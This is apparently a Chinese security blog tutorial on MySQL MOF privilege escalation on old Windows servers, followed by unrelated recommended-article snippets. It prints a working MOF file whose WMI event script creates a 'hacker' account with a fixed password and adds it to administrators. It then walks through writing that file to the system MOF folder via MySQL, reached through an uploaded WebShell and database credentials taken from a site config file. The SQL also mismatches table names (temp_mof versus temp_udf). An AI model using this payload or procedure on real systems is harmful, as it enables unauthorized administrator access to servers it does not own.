操作系统权限提升(二十七)之数据库提权-MySQL MOF提权

2023-09-22 10:13:28

MySQL MOF提权

MOF介绍

mof是windows系统的一个“托管对象格式”文件(位置:C:/windows/system32/wbem/mof/),其作用是每隔五秒就会去监控进程创建和死亡,mof目录下有两个文件夹(good与bad)。Windows server 2003及以下系统每5秒会执行一次mof目录下的文件,执行成功会移动到good文件夹,执行失败则会移动到bad文件夹。

注:MOF提权只能用于Windows系统提权,Linux提权无法使用

MOF提权原理

mof提权其实就是利用mysql 写入mof文件,通过mof文件中的vbs脚本以system权限执行系统命令

使用条件如下:

1、mysql是高权限运行

2、mysql需要具有导入导出功能

3、只能用于Windows 2003以下的系统(Windows 2003以上的系统不在使用该目录)

提权脚本如下:执行一段vbs语言,执行系统命令

#pragma namespace("\\\\.\\root\\subscription")instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name  = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hacker P@ssw0rd /add\")\nWSH.run(\"net.exe localgroup administrators hacker /add\")";
};instance of __FilterToConsumerBinding
{
Consumer   = $Consumer;
Filter = $EventFilter;
};

我们创建一个新的文本,并将这段代码复制下来

在这里插入图片描述

然后最终保存为1.mof文件

在这里插入图片描述

然后我们将其放到C盘目录下,将其转换成16 Hex进制数据,转化成16进制方法很多,然后我们可以借助mysql数据库将其转换为1.txt文件

select hex(load_file('C:/1.mof')) into dumpfile 'c:/1.txt'

在这里插入图片描述

然后现在进入我们的C盘目录下,会发现C盘目录下多出了一个1.txt的文件,里面就是1.mof文件转换成Hex 16进制后的内容

在这里插入图片描述

MOF提权和UDF提权一样,一定要查询对方数据库的读写权限,因为我们要将动态连接文件导入到相应的目录里,才可以进行相应的提权

show global variables like 'secure%';  查询
secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

在这里插入图片描述

MOF提权实验

MOF提权和UDF提权一样,我们将文件转成二进制然后利用导出函数,导出到对应的目录,然后等待提权即可,注意实验前提是我们有对方的数据库读写权限

一般来讲我们都是通过Web渗透,使用WebShell等一些工具去控制网站的,我们这里通过中国蚁剑上传WebShell连接控制目标网站

在这里插入图片描述

然后我们去使用终端,发现我们现在是一个普通的apache用户,没有权限去执行添加用户的命令

在这里插入图片描述

那这时我们需要去提权,那该怎么提权呢?如果目标网站恰好有Mysql数据库系统,那我们就可以去查找一些敏感配置的文件,这些文件里面很有可能包含了数据库连接的用户和密码,比如下图,注意连接目标网站的数据库是MOF提权的前提条件

在这里插入图片描述

我们在网站的system目录下的config目录下的 my.php文件中查找到了Mysql数据库的连接用户名和密码

在这里插入图片描述

那我们这时就可以使用中国蚁剑这种工具去执行数据操作,连接网站的数据库

在这里插入图片描述

当前连接网站数据库的操作配置如下

在这里插入图片描述

这样我们就连进了当前网站的数据库了

在这里插入图片描述

接下来我们就可以使用进行MOF提权了

建表

1、首先我们创建一个表格用来存放mof文件的16进制内容

CREATE TABLE temp_mof (mof blob);

在这里插入图片描述

插入

2、然后将之前1.txt文件夹内的十六进制数据插入到表格中,注意其中 binaryCode为已经转换好的十六进制内容,binaryCode前加0x

INSERT into temp_udf values (CONVERT($binaryCode,CHAR));

然后我们将以上的命令放到网站的数据库中去执行

在这里插入图片描述

导出

3、然后我们执行以下的命令将其导出到目标相应的目录下

SELECT udf FROM temp_udf INTO DUMPFILE "c:/windows/system32/wbem/mof/1.mof"

在这里插入图片描述

然后这时我们会发现目标网站的相应目录下会多出一个1.mof文件(当然这一步由于我是在做实验,处于上帝视角,实际渗透过程中应该看不见)

在这里插入图片描述

执行

4、稍微等待片刻之后,我们会发现1.mof文件被移动到了good文件内

在这里插入图片描述

在这里插入图片描述

此时我们可以在good文件夹内发现1.mof文件,1.mof文件被系统运行了

在这里插入图片描述

到此提权成功,就会发现我们之前我们脚本里面的命令被执行了,hacker 用户被添加了,密码为 P@ssw0rd

在这里插入图片描述

更多推荐

第八篇-Tesla P40+ChatGLM2+LoRA

部署环境系统:CentOS-7CPU:14C28T显卡:TeslaP4024G驱动:515CUDA:11.7cuDNN:8.9.2.26目的验证P40部署可行性,只做验证学习lora方式微调创建环境condacreate--nameglm-tuningpython=3.10condaactivateglm-tuning

百分点科技跻身中国智慧应急人工智能解决方案市场前三

近日,全球领先的IT市场研究和咨询公司IDC发布了《中国智慧应急解决方案市场份额,2022》报告,数据显示,2022年中国智慧应急整体市场为104亿元人民币。其中,智慧应急人工智能解决方案子市场备受关注,百分点科技以10%的市场份额居该市场第三。报告指出,从数字技术应用上看,技术之间融合以及技术与场景的融合应用成为可见

Gradio-YOLOv5-YOLOv7 搭建Web GUI

目录0相关资料:1Gradio介绍2环境搭建3Gradio+YOLOv54Gradio+YOLOv75源码解释0相关资料:Gradio-YOLOv5-Det:https://gitee.com/CV_Lab/gradio_yolov5_det【手把手带你实战YOLOv5-入门篇】YOLOv5Gradio搭建WebGUI

Ae 效果:CC Kernel

颜色校正/CCKernelColorCorrection/CCKernelCCKernel(CC卷积核)效果主要用于图像的卷积处理,通过在卷积矩阵中设置不同的权重值,可以实现图像的锐化Sharpen、模糊Blur、查找边缘FindEdges以及浮雕Emboss等效果。◆◆◆效果原理说明卷积矩阵ConvolutionMa

【英杰送书第三期】Spring 解决依赖版本不一致报错 | 文末送书

Yan-英杰的主悟已往之不谏知来者之可追C++程序员,2024届电子信息研究生目录问题描述报错信息如下报错描述解决方法总结【粉丝福利】【文末送书】目录:本书特色:问题描述报错信息如下Description:Anattemptwasmadetocallamethodthatdoesnotexist.Theattemptw

【计算机视觉|人脸建模】深度学习时代的3D人脸重建调查报告

本系列博文为深度学习/计算机视觉论文笔记,转载请注明出处标题:3DFaceReconstructioninDeepLearningEra:ASurvey链接:3DFaceReconstructioninDeepLearningEra:ASurvey-PubMed(nih.gov)摘要随着深度学习的出现和图形处理单元的广

公司内部网段太多,管控混乱,该如何规范跨网文件传输交换?

在当今的信息化时代,文件传输交换是企业日常工作中不可或缺的一项功能。无论是内部员工之间,还是与外部合作伙伴之间,都需要频繁地进行文件的发送、接收、共享和协作。然而,由于企业内部网段的复杂性和多样性,以及数据安全和合规性的要求,跨网文件传输交换往往面临着诸多的困难和挑战。公司内部网段太多,管控混乱可能造成的问题企业内部网

【UE5 C++ 學習日志】01. UEnhancedInput

UE5提供了一種對複雜輸入處理或運行時重新映射按鍵增强輸入插件。此插件向上兼容UE4的默認輸入系統,并可以實現径向死区、同时按键、上下文输入和优先级安排等多種功能。核心概念:(1)InputActions:InputAction代表角色需要做出的任意動作,例如跳躍或攻擊等等。同時還可以代表輸入的狀態,例如按鍵按下時保持

【Zabbix监控二】之zabbix自定义监控内容案例(自动发现、自动注册)

实验前准备:在Web页面中添加agent主机点击左边菜单栏【配置】中的【主机】,点击【创建主机】【主机名称】设置成zbx-agent01【可见的名称】设置成zbx-agent01-192.168.88.70【群组】选择Linuxservers【Interfaces】的【IP地址】设置成192.168.88.70再点击上

Redis模块五:持久化

目录持久化的定义Redis持久化的方式持久化策略设置RDBVSAOFVS混合持久化RDB优点RDB缺点AOF优点AOF缺点混合持久化优点混合持久化缺点持久化的定义所谓的持久化就是将数据从内存保存到磁盘的过程,它的⽬的就是为了防⽌数据丢失。因为内存中的数据在服务器重启之后就会丢失,⽽磁盘的数据则不会,因此为了系统的稳定起

SpringBoot+Redis BitMap 实现签到与统计功能

最近项目里需要集成签到和统计功能,连续签到后会给用户发放一些优惠券和奖品,以此来吸引用户持续在该品台进行活跃。下面我们一些来聊一聊目前主流的实现方案。因为签到和统计的功能涉及的数据量比较大,所以在如此大的数据下利用传统的关系型数据库进行计算和统计是非常耗费性能的,所以目前市面上主要依赖于高性能缓存RedisBitMap

热文推荐